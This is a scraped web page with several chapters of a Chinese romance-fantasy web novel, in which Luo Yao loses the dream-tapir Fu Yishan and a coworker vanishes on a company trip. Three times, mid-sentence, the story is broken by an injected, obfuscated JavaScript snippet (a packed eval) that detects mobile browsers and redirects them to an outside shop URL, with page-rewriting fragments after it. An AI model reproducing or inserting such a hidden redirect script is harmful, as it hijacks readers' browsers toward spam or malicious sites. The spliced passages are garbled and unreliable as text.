下一秒,傅以山便从她手里将手机抽出来。 他曾经无意在手机上刷到过一张孤独等级表,其中写着一个人去看电影是第四级。 即使他是个习惯孤独的人也知道孤独不是什么好事。 “我陪你去看,我想体验下去看电影是什么感觉。”傅以山眸光坚定地说。 “好啊,我带你去体验体验。”洛瑶把自己的手机拿回来,痛快地订了两张巨幕厅的票。 既然是他活了那么多年的首次体验,当然得要带他去体验下高配置高水准。 这部影片的火爆程度远远超过了洛瑶的想象,一般电影上映一段时间之后就没有那么多人看了。 可这电影直到下映前一周还是场场爆满。 检票进场的路上,洛瑶对傅以山有些抱歉:“本来想说这个时间点人会少一点,没想到还是这么多人。” 她特意选了周一最迟的一个时间段,依旧避不开人。 “没关系,这也是一种体验。”傅以山笑起来云淡风轻。 洛瑶低头去找座位,没注意到后边有个人急着上去,好在傅以山及时拉住了她的手。 一阵令人发颤的电流顺着手掌升上心头,洛瑶感到自己的心跳一时间失了节奏,不敢抬头去看傅以山,只是任由他拉着她。 直到她找到座位坐下,才发现他们的手还是维持着同一个姿势,她的整条手臂都有点僵直住了。 他们的座位选在正中间,有不少人要从他们前面走过去。 “我们这样好像会挡到别人。”洛瑶轻轻晃了下二人紧握着的手。 傅以山神色宁和淡漠地看了眼从他们面前走过去的人,调整了一下握手的角度,将二人紧握的手摆放至一个更合适的位置。 “这样放就不会挡到他们了。”傅以山自若地像在自己家里一样,一点都不像第一次来电影院的人。 洛瑶看着他正襟危坐的样子,不自觉笑了起来,手指调皮地在他手心挠了一下,“看个电影而已,我又不会跑。” “人太多,我有点不适应。”电影放映前的贴片广告发出的光芒投射在傅以山的眼睛里,不似有假。 “哦……是这样啊,那我的手就勉为其难给你握着吧。”洛瑶眨了眨眼,故作恍然大悟状,看向电影屏幕的时候,嘴角笑意不加遮掩。 电影开场之后,基本每个座位都坐了人,一些看过系列电影的影迷小声讨论着几个主角各自的故事发展。 陆雯雯和颜子都是“超能力者”们的资深粉丝,在洛瑶来此之前已经向她科普了几个人物。 让她有点好奇的是傅以山是个什么想法。 “你之前看过这个系列的电影吗?”洛瑶压低了声音小声问。 傅以山嗯了声,“都看过。” “都看过?”洛瑶没想到傅以山竟然是电影“粉丝”。 “这个电影中的每一个超能力者都有自己的系列电影,我都看过。”傅以山解释道。 “我以前觉得这些所谓的超级英雄都是假的,但看了你使用灵力,我觉得可能是真的存在的。”洛瑶趁着电影主角使用特技让全场为之震撼的时候悄悄对傅以山说。 “不瞒你说,我以前飞去国外,想过找出他们。”傅以山的声音混在爆破的音效里。 “啊?”洛瑶差点怀疑自己的耳朵。 此时剧情刚好进入了最精彩的一幕,所有观众的心都被提起来,全神贯注地盯着电影巨幕。 只有洛瑶忍不住看向了傅以山。 荧幕里折射出的光在他的脸上忽明忽暗,他似是有话要说,嘴角刚一扯动,所有的光突然消失。 整个巨幕厅陷入了一篇漆黑之中,周遭人的惊呼只持续了一秒钟,戛然而止,四周静谧无比,连风的声音都没有,空气像是被什么东西给全部抽走了。 洛瑶还没反应过来是怎么一回事,后知后觉自己已经被傅以山搂在了怀里。 他抱她的力道比以往都要重,像是要把她嵌进怀里,用温热的气息包裹着她,熟悉的檀香丝丝入扣。 “发生什么事了?”洛瑶感受到前所未有的恐惧,黑暗几乎剥夺了她所有的思考能力。 “闭眼。”傅以山用手挡住她的视线,声音沉静如深海。 几秒钟的时间漫长地如同一个世纪,随着周遭重新响起对于电影的议论声,傅以山放开了洛瑶。 洛瑶重新睁开眼睛,仿佛刚才的沉默只是一种错觉。 电影里还在继续放着振奋人心的打斗画面,观众们练练赞叹,没有一个声音是关于刚才发生之事。 洛瑶狐疑地端详起傅以山,“这到底是怎么回事?” 如果是电影院停电,那声音全部消失该如何解释? 如果不是停电,那大家又是怎么做到无事发生的? 洛瑶想不明白的事很多,但傅以山的眸中依旧岁月静好,伸手将她掉落额间的头发拂开,柔声道:“没事了,先把电影看完。” 一种无力感油然而生,一种生而为人的无力感。 纵然傅以山将她保护地很好,多次化险为夷,每次都能毫发无损。 可一两次是这样,长此以往,每次如果都是傅以山保护她,他会不会感到厌烦? 在比人类强大的生物面前,而她始终都缺乏自保能力,甚至不知道自己的敌人是谁,更别说如何对付了。 电影后半程的剧情十分精彩,主角团和反派大展身手,双方打得难舍难分,最终还是按照以往的英雄电影经典套路,在最后命悬一线的时刻,主角奋力一击,击败大反派。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14067993|147475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>洛瑶看得心不在焉,电影一结束立马拉着傅以山穿过人群,找到一个僻静的角落,抱臂看着他。 “刚刚是魇昧吗?” “嗯。” “你和他打架了吗?有没有受伤?”洛瑶不放心地拉住他的手正看反看,又掰过他的脸仔细查看。 傅以山用手掌包裹住洛瑶略显冰凉的手指,唇角带着笑意道:“别担心,他没有找我打架。” “那他来干什么?”洛瑶保持着手的姿势,捧着傅以山的脸,紧盯他的双眼。 傅以山愣神了下,摩挲着洛瑶的指尖,淡淡道:“来和我们开个玩笑。” “开玩笑?怕不是你和我开玩笑吧?”洛瑶不信,把自己的手抽出来,不相信事情如同傅以山说的这么轻描淡写。 “他们一族喜欢和人类开玩笑。”傅以山说得煞有其事,让人看不住任何假的迹象。 “可这一点都不好笑啊,突然来这么一下,让人都没心情看电影了。”洛瑶不满地撇撇嘴。 “走吧,魇昧已经离开了,现在很安全。”傅以山十分自然地握住了洛瑶的手,打断了她的注意力。 他的手掌宽厚温热,握住的力道虽重,但不会让人感到不适,反而有极强的安全感。 “我们去吃饭,换个好心情。”傅以山将自己的掌心抵住洛瑶不安分的指尖,目光如同黑夜里的月光,最是惑人心弦。 洛瑶不争气地红了脸,心跳加速,神经迅速被麻痹。 既然傅以山现在不愿意说,以后总有机会让他解释清楚。 她很珍惜当下和傅以山在一起的每时每刻,偶尔也会庆幸自己梦到他,有他在身边,她就会很有安全感。 不管明天是怎样的,该来的总会来。 她决定先不去考虑那些让人烦恼的事情,而是先享受眼前的快乐。 * 夜半时分,月亮被云雾这盖住了光芒,没有星星,只有厚重看不清的黑。 S市最高的楼足足有118层,在距地六百多米的最高处向下俯瞰,几乎可以看尽整个S市的夜景。 林立的高楼在苍茫的夜色下,灯火虚幻浮华,只有微弱灯光点缀的最高处更加显得寂静而神秘,勾勒出几许寂寥。 傅以山垂手而立,衣摆随风鼓动,月色下的清隽身影显得很是落寞。 “你见到上尊了?”神女从傅以山的背后走上前来,站在他身侧。 傅以山古怪地看了她一眼,“小孩子晚上不用睡觉的吗?” 神女翻了个白眼,没好气地说:“我装病了,明天不用上学。” “当小孩确实比当大人幸福很多。”傅以山不禁感叹。 “别说我了,说说你吧,你打算怎么办?”神女探出头,语调里充满了好奇。 傅以山回忆起先前在电影院发生的事,心中隐约已经有了一个答案。 他骗了洛瑶。 魇昧并没有开玩笑,而是告诉了他一个残酷的现实。 在整个巨幕厅陷入黑暗的那一刻,魇昧的声音在他的耳畔响起: “傅以山,终于找到你的软肋了,我们对付不了你,可对付一个小小人类却是绰绰有余,敬请期待吧。” 29. 神秘 “神女觉得这普天之下的魇昧究竟何时能除尽?”傅以山没有说出自己的想法,反而问了神女一个问题。 神女上下打量着他,斟酌片刻后,叹气道:“其实我曾问过上尊这个问题。” “他是如何回答的?”傅以山眉间显出几分焦灼来。 “他这人一向神神秘秘,说话颠三倒四,和我扯了一堆有的没的,然后大致的意思是……”神女皱了皱鼻子,眼神闪烁道,“魇昧是因你而存在的。” “因我?” “哎呀,上尊这该死的,话只说了一半,具体的什么都没说。”神女懊恼地跺了跺脚。 “或许还是和我失去的那段记忆有关。”傅以山的嘴角牵扯起一抹苦涩,眼眸里承载着沉重的苦痛。 他已经记不清自己在人间到底度过了多少个日日夜夜,为了找寻那段丢失的记忆,他从一开始的费尽心力到后来的不再执着。 如今,他虽然找回了一部分记忆,可最重要的那一段始终想不起来。 “要不你再等等?或许洛瑶会梦到。”神女眨巴着眼睛,眼神中藏不住同情。 傅以山摇了摇头,“或许一切到这里就该结束了,记起那段应该被忘却的时光已经没有意义,她是无辜的,不应该承受任何痛苦。” “对不起,傅以山。”神女长长地叹息一声,用歉疚的语气说道:“我不该鼓励你去向她示爱,如果没有开始,就不会有结束。” “并非如此。”傅以山抬头仰望夜空,纤长的眼睫半遮住双瞳中的哀伤,俊美文雅的身形浸透在夜色中,给人看似近在咫尺又遥不可及的感觉。 “我和她注定会有开始,而始终会有要结束的一天,只是……我没想到这一天会来的这么快。” “唉。”神女又一次叹气,善意提醒道:“你越是一直留在她身边,她就会越容易出现危险,还是尽早作出抉择吧。” 长痛不如短痛,是经验之谈。 它告诉我们,与其长时间被隐隐作痛折磨,不如连根拔起,通过忍受短时剧痛来求得问题的彻底解决。 * 天边刚有一丝光亮的时候,集聚了一夜的阴云似乎找到了一个合理的契机,迫不及待地下起大雨,将整个S市封锁在模糊的雨幕中。 在淅淅沥沥的雨声中,洛瑶深度入眠,恍惚之间又成为了“古代洛瑶”。 身体变得很重,呼出的气息很烫且微弱,像是生病了。 一抬眼便看见傅以山身穿铠甲,乌发一丝不乱地束在头顶,赏心悦目的面容和现在几乎没有差别,只是眉间多了几分从尸山血海的战场中带出来的凌厉,脸上还带着奔波过后的憔悴,在床沿坐下,将一只手搭在她的额上,“还是很烫,需要吃药。” 洛瑶半靠在床头,举起湿冷的巾帕,试图往自己额上放,恳求道:“师父,我不想吃药。” 傅以山夺走那块湿冷的巾帕,有些不悦地抓起洛瑶的手,替她擦拭发烫的掌心,“不吃药的话,病怎么能好?” “要是师父能陪在我身边,我肯定能很快好起来。”洛瑶轻轻扯了扯他的衣袖,眼睛亮晶晶地望着他,做出一副可怜兮兮的样子。 傅以山温朗一笑,目光温柔而纵容,似是还有一点无可奈何,“我要走了,洛瑶。” “师父,你要去哪里?又要去打战吗?”洛瑶病中惊坐起,耳边传来的雨声平添了几分纷乱与不安。 “我要去一个很远很远的地方。”傅以山的声音像是虚幻的,又像是真切的。 “什么地方?能带我一起去吗?”洛瑶忽觉喉咙有些干涩,慌张地用双手拽住了傅以山的胳膊。 傅以山没有说话,任凭洛瑶拽着他,只能动用另外半边身体,从一旁取来一碗药,递到她唇边,嘱咐道:“有些烫,慢点喝。” 洛瑶低头看了眼棕黑色的药汁,心里顿时发苦,脑子里不知为何闪过一个奇怪的念头,“师父,你这个样子,好像是要喂我喝孟婆汤。” 傅以山常年习武,平时单手扛起一个人都不在话下,更别论只端着一个仅盛了半碗的药碗,可他此时的手却抖了一下,溅出几滴药汁。 “抱歉,我不是故意的。”傅以山的眼底闪过一丝惶恐,他一手端药,一手从洛瑶手里将巾帕抽出,将滴落的药汁擦干。 洛瑶用双手,轻托住药碗的底部,自行端起药碗,作出退让,“要是我喝了药,师父能不能不走了?” 药汁的气味弥漫开来,氤氲在空气中,让人每一次的呼吸都能感受到苦涩的气息。 “对不起洛瑶,我必须要走。”傅以山语气明明是温柔的,可却夹着几分坚决意味。 “那我不喝。”洛瑶把碗向前一伸,重新放到他手上。 “真不喝?”傅以山垂下眼睑,下颌线绷紧。 “嗯。”洛瑶抱臂冷哼一声。 “对不起,洛瑶。”傅以山说完,呼吸微沉,脸上带着暴风雨来临前的宁静,闷声将药倒入口中,伸手捏住洛瑶的下巴往下扣,将苦涩的药全数喂进她嘴里。 一贯温柔的他仿佛变了个人似的,用手抵住她的后脑勺,带着不由分说的侵略性,强势地亲吻吮咬,让滚烫的气息不断升温,淹没了所有的理智。 洛瑶一开始睁大了双眼,可渐渐地视线仿佛被浓雾笼罩,变得模糊不清,逐渐被一望无际的黑取代,整个人都变得沉重而无力。 一种强烈的不安感牢牢锁住她,将她拖入了一个黑色的深渊之中,在一望无际的黑之中,她的神智愈发变得清明起来。 不对,不应该是这样。 按照傅以山的说法和她之前做过的那些梦,古代洛瑶是单相思,傅以山对她除了师徒之情,不存在这样浓烈的情感,根本不可能像这样吻她。 与傅以山唇齿交缠的感觉为什么如此真实? 真实到让洛瑶感觉这并不是梦! 洛瑶努力想睁开眼睛,可她却发现自己一点都动不了,四肢像是被牢牢钉在了床上,有一股强劲的力量按着她的额头。 有什么东西正从她的额间被抽离出来,一丝丝凉意渗透进她的每一寸皮肤肌理,无声无息带走温暖的痕迹,随着全身的力气一点点消散,最终那些缱绻的不舍化为一滴泪从她的眼角滑落。 站在洛瑶床边的傅以山,将自己的手掌从她的额间撤离,换上了柔软的唇瓣,在她微皱的眉心落下一吻,轻轻如一片羽毛。 再见了,洛瑶。 祝你一切安好。 * 等到洛瑶重新醒过来的时候,一切好像都变了,却又好像都没有变化。 难得她醒来已经是日上三竿,晚上大概是忘记了拉上窗帘,和煦的阳光铺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14081225|147475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满了几乎整个房间。 秋日里的暖阳不像春天那般明媚,也没有夏天那般炎热,而是给人温和与惬意。 像是记忆中的某个深刻存在过的人。 一种莫名的恐慌感席卷而来,洛瑶迅速从床上坐起来,抬起自己的手臂,光洁白皙,那条用琉璃珠子串成的手链,她明明一直带着,可此时却不见踪迹。 会不会睡觉的时候不小心滑出去了? 洛瑶赶紧翻身下床,把杯子枕头都掀开找了一遍,愣是什么都没有。 她随后在床头柜上找到了自己的手机,手指一刻不停地翻阅聊天记录和联系人,通话记录也找遍了。 她迫切地想要找到那个人所存在过的一切痕迹。 可上天就像是和她开了个巨大的玩笑。 什么都没有了。 洛瑶不死心,一边抠着指甲,一边给颜子打去了一个电话。 等了好一会儿,颜子才接听。 “怎么啦?你怎么这个点给我打电话?”颜子有点奇怪地问。 现在人们的习惯已经普遍从动不动打电话变成了发个微信就能解决事情。 一般情况下,洛瑶不会突然打电话。 “颜子,你还记不记得……傅以山?”洛瑶咬着唇,不知道该用什么样的语气和心情问出这样的话。 颜子顿了下,“是我们认识的人吗?以前上大学时候认识的同学?” 洛瑶脱力跌倒在地上,心中的大厦轰然倒塌,仅存的一丝希望让她耐着性子向颜子解释道,她仍抱有无端的侥幸心理,希望还有人记得他:“是我们认识的人,但不是我们的同学,他……长得很帅,你前些天还请他吃过饭,在那家很贵的西餐厅。” “长得帅?前些天还吃过饭?洛瑶,你没事吧?你说的那家西餐厅是西城路那边那家吗?”颜子不确定地问道。 “对,对,你还记得吗?那天我们三个人点了个套餐,要一千多,而且还是你提前一礼拜预约的。”洛瑶心中燃起希望的火苗。 颜子愣了一秒钟才答道:“姐妹,你是没睡醒说胡话吗?哪有什么帅哥啊?那天不是我们两个人去的吗?” “你再想想,真的只有我们两个人吗?”洛瑶用手紧紧抓着被子,狠狠咬下唇。 “大白天的,你别吓我啊,你现在一个人在家吗?我要不去找你吧。”颜子的口气像是觉得洛瑶发疯了似的。 可是只有洛瑶自己明白,她不是发疯。 她什么都记得,回忆清晰地刻在她的脑海里,不管是今生和傅以山相遇后的所发生的事情,还是古代洛瑶和傅以山之间的事。 他的音容相貌,他的言行举止,他那双容易让人动容的眼眸。 一切的一切,她怎么会忘记? 就算全天下所有人都忘记他,她也不会忘记。 “洛瑶,你没事吧?你在家等着,我马上去找你。”颜子听到洛瑶那边一片寂静,更加担心起来。 “不用了,你安心上班吧,我没事。”洛瑶说完便挂了电话。 她以为是梦的那一切原来不是梦,而她以为的现实却成了再也无法圆满的美梦。 她用手环抱住双腿,将头深埋在臂弯里,闭上双眼,眼泪再也控制不住向外涌,无助地发出呜咽声,一呼一吸都能感到胸口扩张所带来的扯痛。 30. 记得 夜晚降临,洛瑶照旧去上班。 前一天晚上,持续不断的做梦让她感觉很是疲惫,白天在家又哭了一天,全身无力,活像具灵魂出窍的行尸走肉,刚一进演播室,猝不及防和陆雯雯撞了个满怀。 “对不起洛瑶姐,你没事吧?有没有撞痛?”陆雯雯下意识扶住洛瑶的肩膀,查看她的伤势。 洛瑶捂着脑袋,有气无力地抬头问她:“你慌里慌张的是要去哪儿?” “芳卉姐让我帮她拿个快递。”陆雯雯无奈地皱了皱眉。 “她人不在这吗?晚上请假了?”洛瑶下意识向陆雯雯后头投去目光。 没想到正好撞上宋逢辰笑着向她打招呼。 “怎么是他在这儿?”洛瑶愣愣地看着宋逢辰,向陆雯雯问道。 陆雯雯立马解释:“芳卉姐请了长假,找他来代班。” “她怎么回事……”洛瑶刚想吐槽闻芳卉,但意识到宋逢辰在这,话锋一转,“行,那你先去帮她拿吧,我先去准备。” 陆雯雯离开之后,演播室就只剩下洛瑶和宋逢辰两个人。 宋逢辰今天穿了一身的牛仔,牛仔裤加上就在外套,年轻帅气的脸上挂着一个不谙世事的笑容。 他这一笑,倒是让洛瑶想起了当时和傅以山一起在超市遇见他的事情,有没有可能……他还记得呢? “宋逢辰,你还记不记得我们在欧超市见面的事情?”洛瑶走到宋逢辰面前,单刀直入地问道。 宋逢辰没有犹豫,“当然记得啊,那天晚上我正好在超市闲逛,没想到会见到你。” “除了见到我,还有没有见到别人?”急切明晃晃写在洛瑶的脸上,连带着她的语速也快了起来。 宋逢辰略微诧异,“当时超市有很多人啊。” “我是想问你有没有见到我朋友?和我当时在一起的一个异性朋友。”洛瑶心里已经有一个不好的预感了,眼眸渐渐垂下。 宋逢辰若有所思地盯着洛瑶,将手负到身后,笃定地说道:“我当时遇见你的时候只有你一个人在,没见到其他人。” “是吗?”洛瑶肉眼可见地更加颓丧了几分。 “洛瑶姐当时是和朋友一起去的超市?是你男朋友?”宋逢辰用打探八卦似的语气,嘴角扬起一个轻松的微笑。 洛瑶摆了摆手,一口气堵在胸口,忿忿道:“当我没问。” “洛瑶姐放心,我懂你的意思了,你肯定是不想大家知道你恋爱的事对吗?要是我看到了也不会乱说的。”宋逢辰故意压低了声音,把话说得神神秘秘起来。 “你不是说你没看到吗?”洛瑶狐疑地看了宋逢辰一眼,产生了一种直觉,觉得他讲话怪怪的。 宋逢辰回避了洛瑶直勾勾的眼神,笑着说:“这次我没看到,说不定下次我就看到了。” “……”洛瑶顿时无言以对,她心想,宋逢辰可能这辈子都不会见到了。 那个欧超市,她再也不想去了。 因为去了难免会睹物生情。 * 转眼过去了一个月,在这一个月时间里,洛瑶几乎走遍了之前傅以山有可能去过的地方,向有可能见过他的人们打听他,可无一例外,大家都不记得他。 在青铜博物馆里担任馆长的不再是之前那个金馆长,金馆长虽然不至于像傅以山消失地这么彻底,但还是怎么也联系不上了。 洛瑶不得不佩服傅以山的术法厉害,让一切消失地如此彻底,她有时候甚至会怀疑她和他之间所发生的事情真的都只是她的一个梦。 从来就没有傅以山这个人。 只有她自己心底清楚,傅以山真真切切地存在过。 她把自己和他的相遇,和他在一起的点点滴滴,都一一记录了下来,并通过《深夜电台》节目传播给了听众,没想到竟然意外大受欢迎,迅速走红网络。 《深夜电台》节目一度成为了台里的收视冠军,郭杰脸上乐开了花,难得的大方一回,组织了一次部门集体出游。 在出发的大巴上,陆雯雯悄咪|咪贴到洛瑶耳边,“幸好这次WFH没有来,还算是有自知之明。” “WFH?”洛瑶迟疑了下。 “是闻芳卉的缩写啦,现在网上的人都喜欢用缩写。”陆雯雯平时爱追星,习惯了用缩写。 洛瑶知道是知道有这回事,不过还是头一次听到闻芳卉的名字被缩写。 “这次出游本来就是为了《深夜电台》得冠军,和这段时间都请假的WFH毫不相干。”陆雯雯撇撇嘴,这段时间因为闻芳卉请假,他们没少加班,为了分担她的工作量,部门里的人都挺怨声载道的。 不过也确实是因为她请假,才会让洛瑶的方案这么容易就通过审批,不然《深夜电台》栏目别想那么能顺利播出洛瑶想要的内容。 洛瑶点点头,复议道:“话是这么说没错。” “《深夜电台》能得冠军说到底还是因为洛瑶姐你想的那个故事好,特别感人,我有好几次都听哭了。”回想到那几期节目,陆雯雯不禁感慨。 洛瑶脸上的笑容僵住了,努力扯开嘴角,“雯雯,你相不相信这个故事?” “当然信啊。”陆雯雯一拍大腿,眼神里包含憧憬,双手合十道:“在很久很久以前,肯定会有这样一位深情的梦貘,在人间遇见了一位深爱她的女子。” “只是相信古代女子和梦貘的那段故事吗?因果轮回和宿命呢?”洛瑶问完顿时觉得自己有点可笑,也不知道自己到底还在期待什么。 陆雯雯为难地眨了眨眼,说出了自己的看法:“因果轮回和宿命或许是有的,但那样的话,我觉得梦貘和那名女子都太可怜了,独自活了那么多年,到最后也没能有个圆满的结局。” “嘁——”一声不和谐的嗤笑声突兀地从后排传来。 坐在过道边的陆雯雯忙转过头去看,刚好看到了宋逢辰那张似笑非笑的脸。 “怎么了?我说的有什么不对吗?”陆雯雯默默捏紧了自己的小拳拳。 宋逢辰立刻作出认输的手势,抱歉地说道:“你说得对,是有点可怜,所以你觉得圆满的结局应该怎样?” 陆雯雯用手指点着下巴,边思考边说:“梦貘不应该就这样离开,而是应该留下,打败那些魇昧,同心爱之人厮守终生。” “可你有没有想过,梦貘长生不老,而人终会有生老病死。”宋逢辰说这话的时候,意味深长地看了洛瑶一眼。 “按照我之前看过的言情故事,有超能力的一方也会有生老病死的一天。”陆雯雯说。 宋逢辰挑了下眉,“超能力者为什么会选择生老病死?” “当然是因为爱啊!”陆雯雯张开双臂,嫌弃地看了宋逢辰一眼,手背掌心交叠在松口,感慨道:“难怪你长这么帅还没有找到对象。” 陆雯雯一开始对宋逢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093087|147475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辰滤镜很重,但经过一段时间的共事之后,对他的看法逐渐从“一个帅哥”变成了“普通同事”。 在工作的折磨之下,打工人很难会对自己的同事产生感情。 前排两个椅背挡住了宋逢辰的视线,他只能透过两个椅背中间的空隙看到一点洛瑶的身影。 她正背对着他,不知道在想什么,一点都没有注意到他的目光。 * 此次出游的目的地是一间在山顶的民宿,远离城市的喧嚣,周边被树木环绕。 传统的中式庭院里配有餐厅、咖啡厅、茶室、健身房等公区设施,适合晴时赏花,雨时煎茶。 环境是挺好的,就是车开不上去,只能停在半山腰,需要自行爬一段山路才能到。 本来出发的时间就不早,加上路上消耗的时间,等到全员到达民宿的时候,已是傍晚。 好在民宿里有老板提前准备好的一桌农家菜,已经饿得前胸贴后背的众人赶紧大快朵颐。 饭后,大家聚在一起确认好了晚上住的房间,郭杰迫不及待拉着几个男同事要去茶室里打牌。 陆雯雯和几个女同事说好想一起出去走一走,欣赏下周边的环境。 和陆雯雯一间房的洛瑶当然也在邀请之列,不过她觉得爬完山有点累,想早点休息,便没有出门,独自待在房间里刷手机。 可能因为已经过了虫鸣的时节,夜晚的山野很是安静,饭后碳水开始了它的催眠能力。 洛瑶手机刷着刷着就产生了睡意,眼皮开始打架。 就在她快要睡着的时候,空荡的房间里,突然响起了手|机|铃|声。 来不及多想,手机屏幕上的“颜子”二字已经让她条件反射似的接起了电话。 “你现在一个人还是和同事在一起?我好想找你吐槽啊。”颜子感觉自己要吐槽的事情已经无法用语音说明。 洛瑶调整了半躺着的姿势,用更舒服的姿势靠在床头,揉了揉眼睛,打了个哈欠道:“你说吧,现在就我一个人在房间里,他们都出去了。” “我晚上去相亲了。” “相亲?”洛瑶一下子醒了几分。 “对,领导给介绍的,没办法拒绝。”颜子无奈地说。 洛瑶没经历过相亲,但在网上看到过很多奇葩经历,“那你感觉怎么样?” “当然很郁闷啊。”颜子像被扎了针的皮球,说话都没多少气力,“相亲对象条件是不错,是个公务员,可是长得也太着急了。” “几岁了。” “35了,又胖又矮,头发都稀疏了。”颜子一回想起来就难受。 “35岁确实年纪有点大了。” “可不是,现在这社会,相亲男可以被介绍小十岁的女的,女的连被介绍小一岁的男的都几乎没有。” “你想找比你岁数小的吗?” “我觉得主要看帅不帅吧。”作为一个颜控的颜子,人设屹立不倒。 洛瑶下意识地想到了自己心里的那个人,鬼使神差地问道:“要是对方很帅,但比你大很多很多岁呢?” “三十岁以内还有可能,现实里很少有超过三十岁还看着顺眼的帅哥。”作为媒体人,颜子见过的形形色|色的人不在少数,对此深有体会。 洛瑶知道自己恐怕再也难将心中之人抹去,顺着颜子的话苦笑道:“是啊,茫茫人海,遇到个看着顺眼的人真难。” 31. 失踪 和颜子聊完之后没多久,陆雯雯就回来了,她说外面越来越冷了,看来晚上睡觉的时候要关好门窗。 夜里的山风吹动着落地窗的窗帘,洛瑶走到窗户边上,正打算推动落地窗,便闻见了一股奇怪的味道,像是杀鱼之后会留下的血腥味,又像是放在家门口过了一晚上会发臭的垃圾味。 她心中顿时警铃大作,赶紧把窗户关上并锁好,才敢隔着玻璃向外面张望。 什么也没有。 房间外面是个古朴的小院子,种满了花草,在夜幕中显出一份独有的宁静祥和。 刚刚的腥臭味好像只是她的错觉。 可能真的是她多心了,在经历过梦貘和魇昧的事情之后,总是时不时会疑神疑鬼。 为了增加点安全感,洛瑶又重新把房间的门窗都检查了一遍,窗帘也全部都拉上,一点缝隙都不留。 这样一来,封闭的房间更显安静,睡觉也更容易睡得沉些。 一整夜的时间很快就过去了,很奇怪,自从傅以山消失之后,洛瑶什么梦都没有做过,吵醒她的是一阵轰鸣震耳的雷声。 洛瑶睁眼发现房间里依旧昏暗如黑夜,只有窗帘底下有一丝光亮,她看了眼手机时间,已经是早上九点多,按理说天应该蛮亮了。 她起身走到窗户边,撩开窗帘开了眼,院子里的一切比夜晚更加清晰,花草在暴雨的洗礼下疯狂乱颤。 “洛瑶姐,外面是下雨了吗?”陆雯雯也醒了过来,说话的语气里掺杂着朦胧睡意。 “是的,雨还很大。”洛瑶鲜少在秋天看到这么大的雨,雷电交加,天空都被染成墨汁色,雨水像往下灌似的。 陆雯雯失落地“啊”了一声,“那完了,本来还打算等会儿出去拍照的,现在只能待在民宿里了。” “你可以在民宿拍,昨天我看到有几个地方还挺适合拍照的。”昨日晚饭后,洛瑶闲着没事,在民宿里闲逛了一圈,发现这里有好几个网红拍照点。 陆雯雯刚想开口赞同洛瑶的想法,结果被一阵敲门声打断了。 洛瑶随手披了件外套,走去将房门开了一条缝,见外面是一个熟识的女同事,便把门缝开大了一点。 “舒怡,有什么事吗?”洛瑶看着名叫李舒怡的女同事脸上神色有几分焦灼。 “洛瑶姐,你们是不是没看到手机信息?群里炸了,现在杰哥让我们所有人去民宿餐厅里集|合。”李舒怡就住在洛瑶隔壁房间,昨晚和陆雯雯一同回来的,她只是洛瑶和陆雯雯同住一屋。 “好,那我们马上过去。”直觉告诉洛瑶有什么不好的事情发生了。 她转头就告诉陆雯雯她们得赶紧准备下去民宿餐厅。 原本就在刷手机的陆雯雯立马反应过来,告诉洛瑶群里发生的大事,“洛瑶姐,宋逢辰好像失踪了。” “失踪了?”洛瑶整个人像卡壳了的磁带,停下手里的动作。 “群里都在艾特他,说他昨晚出去了一趟之后再也没回来。”陆雯雯刷着群里的信息,面露惊惧之色。 洛瑶努力让自己冷静下来,拍拍陆雯雯的肩,“别急,我们先去餐厅里集|合,看看是什么情况。” 陆雯雯“嗯”了声,抓紧换了身衣服,和洛瑶一同前去民宿餐厅。 发生了这样奇怪的事情,大家都很恐慌不安,宋逢辰这么个大活人,怎么说不见就不见了。 等到陆雯雯和洛瑶到地时候,坐在里面的同事已经七嘴八舌在讨论了。 “昨晚我打牌打到一半,我女朋友就打电话过来了,我就回房间和她视频通话,打完电话我就睡了,我以为宋逢辰还一直在茶室里和你们打牌。”讲话的是和宋逢辰同住一屋的男同事。 “我记得你走后不久,宋逢辰就借故离开了。”另一个男同事回忆起昨晚的情况。 “会不会他已经下山了?” “他走的时候说了什么?” 一个女同事和一个男同事的同时开口。 静默在一旁的郭杰让大家安静,随后站出来主持大局,“他昨天离开茶室前和我说他有点累,要回房休息。” 说完,郭杰看向宋逢辰的室友。 室友立马辩驳道:“我可以确定他没有回房间,因为我一直在房间里,一晚上都没见过他。” “那真是奇了怪了。”郭杰摸着下巴,陷入沉思。 这时,从餐厅门口跑进来一个男同事,慌慌张张地说道:“我刚问了民宿老板,这里晚上是叫不到车的,他查了下山的监控,昨天晚上既没有车出现,也没有看见人走下山。” “天啊,那宋逢辰到底去哪了?” “该不会是被山鬼抓了吧?” “胡说什么?我们要相信科学好吗?” “他会不会是出门闲逛,掉在哪个山沟沟里了吧?” 努力让自己保持头脑冷静的郭杰急忙追问刚刚回来的同事,“那监控有拍到宋逢辰吗?” 